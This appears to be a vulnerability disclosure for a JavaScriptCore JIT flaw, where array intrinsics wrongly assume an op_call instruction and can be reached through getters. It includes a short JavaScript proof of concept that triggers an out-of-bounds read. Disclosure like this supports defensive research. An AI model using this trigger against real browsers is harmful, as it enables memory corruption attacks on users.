29 lines
No EOL
903 B
JavaScript
29 lines
No EOL
903 B
JavaScript
/*
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case ArrayPushIntrinsic: {
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...
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if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
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return false;
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ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);
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...
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}
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This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.
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Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.
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PoC:
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*/
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Array.prototype.__defineGetter__('a', Array.prototype.push);
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function opt() {
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let arr = new Array(1, 2, 3, 4);
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arr['a' + ''];
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}
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for (let i = 0; i < 1000; i++) {
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opt();
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} |